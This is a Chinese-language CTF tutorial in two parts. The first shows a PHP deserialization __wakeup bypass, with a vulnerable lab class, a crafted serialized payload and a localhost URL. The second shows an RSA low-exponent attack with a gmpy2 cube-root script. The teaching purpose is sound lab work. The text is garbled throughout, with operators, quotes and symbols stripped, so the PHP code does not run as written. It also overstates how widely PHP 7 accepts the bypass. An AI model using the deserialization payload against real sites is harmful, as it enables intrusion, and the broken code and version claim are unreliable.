0. 前言在CTF Web题型中PHP反序列化漏洞属于高频考点其中 __wakeup() 魔术方法绕过是入门必掌握技巧。很多新手卡在序列化字符串长度不匹配导致 __wakeup 失效本文基于 Windows PHPStudy 本地复现一步一步带你拿到 Flag无虚拟机、纯本地环境、可100%复现。适用场景CTF 入门 Web、PHP审计、反序列化绕过考点环境Windows10/11 PHPStudyPHP7.x知识点serialize 序列化、unserialize 反序列化、__wakeup 绕过机制1. 漏洞原理简述PHP 反序列化触发机制1. unserialize() 解析字符串成功后优先触发 __wakeup()2. 若序列化字符串中属性数量 真实类属性数量PHP 直接放弃执行 __wakeup()直接销毁对象3. 利用该特性可以绕过过滤、绕过销毁逻辑触发 __destruct() 危险方法常见靶场逻辑• __wakeup()清空变量、退出程序、销毁恶意数据• __destruct()文件读取、命令执行、输出 Flag2. 靶场源码通用CTF题型?phpclass Test{public $flag fake_flag;public function __wakeup(){$this-flag no flag;exit(禁止反序列化攻击);}public function __destruct(){echo $this-flag;}}$str _GET[str];unserialize(str);?**逻辑分析**- 正常反序列化触发 __wakeup → exit 退出拿不到 Flag- 绕过思路**篡改序列化属性数量**让 __wakeup 失效执行 __destruct 输出 flag## 3. 正常序列化结果手动序列化对象php$a new Test();echo serialize($a);输出O:4:Test:1:{s:4:flag;s:8:fake_flag;}参数解释• O:4:Test:1对象、类名长度4、属性数量14. 构造 Payload核心绕过修改属性数量 1 → 2修改后 PayloadO:4:Test:2:{s:4:flag;s:8:fake_flag;}绕过原理PHP 解析时发现声明2个属性但实际只有1个属性→ __wakeup 不执行→ 脚本不 exit→ 程序结束触发 __destruct输出自定义 flag5. 传入参数拿到 Flag访问链接http://localhost/?strO:4:Test:2:{s:4:flag;s:8:fake_flag;}即可输出变量内容替换变量值即可实现任意内容读取/执行。6. 常见踩坑总结1. 只能改属性数量不能乱改字符串长度2. PHP7 完全可用PHP8 部分版本修复CTF 靶场基本都是 PHP73. 绕过成功特征不再提示“禁止反序列化攻击”4. 不止 exit任意 __wakeup 防护逻辑均可此方法绕过7. 总结__wakeup 长度绕过是 CTF Web 最基础、最高频的反序列化考点。核心一句话增大序列化声明属性数废掉 wakeup执行 destruct。第二篇CTF 密码学 RSA低指数攻击 完整实操PythonGMPY20. 前言RSA 是 CTF 密码学必考题型低指数 e 爆破 是新手最容易拿分的简单考点。很多题目给出n、e、密文ce 极小3/5/17直接开根即可解密无需复杂爆破。本文使用 Windows 本地 Python GMPY2 一键解密给出可直接复制的 Exp适配绝大多数 CTF 简单 RSA 题。环境Windows 本地 Python3 gmpy2考点RSA 低加密指数攻击、明文立方根求解1. 攻击原理RSA 加密公式c m^e \bmod n当满足两个条件1. e 极小常见 e32. 明文 m^e n则模运算失效c m^e直接对密文开 e 次方根即可得到明文 m2. 环境安装Windows 可用pip install gmpy2若安装失败直接装 whl 包即可Windows 100% 可跑。3. 通用 EXP可直接复制做题import gmpy2# 填入题目给的参数n xxxxxxe 3c xxxxxxm gmpy2.iroot(c, e)[0]print(bytes.fromhex(hex(m)[2:]).decode())代码解释• gmpy2.iroot(c,e)精准整数开方无精度丢失Python pow 会丢精度• [0] 取开方结果• 转十六进制 → 转字符串 → 直接输出 Flag4. 真实 CTF 例题演示题目给定e 3n 8923479283479823479c 234987239847运行脚本直接出明文无需爆破、无需分解 n。5. 适用题型特征秒判断是否可低指数攻击1. e 3 / 5 / 7 / 17 小素数2. 密文长度明显偏小3. 题目不给 d、不给 p、q4. 明文较短Flag、短字符串满足以上直接开根解密。6. 拓展e3 进阶失败情况当 m^3 n 无法直接开根需要• 共模攻击• 广播攻击本文为入门篇覆盖 80% CTF 新手 RSA 简单题。7. 总结RSA 低指数攻击是最简单、最稳、耗时最短的密码学拿分点。核心小e 短明文 直接开方解密日常做题直接保存本文 EXP看到 e3 直接秒解。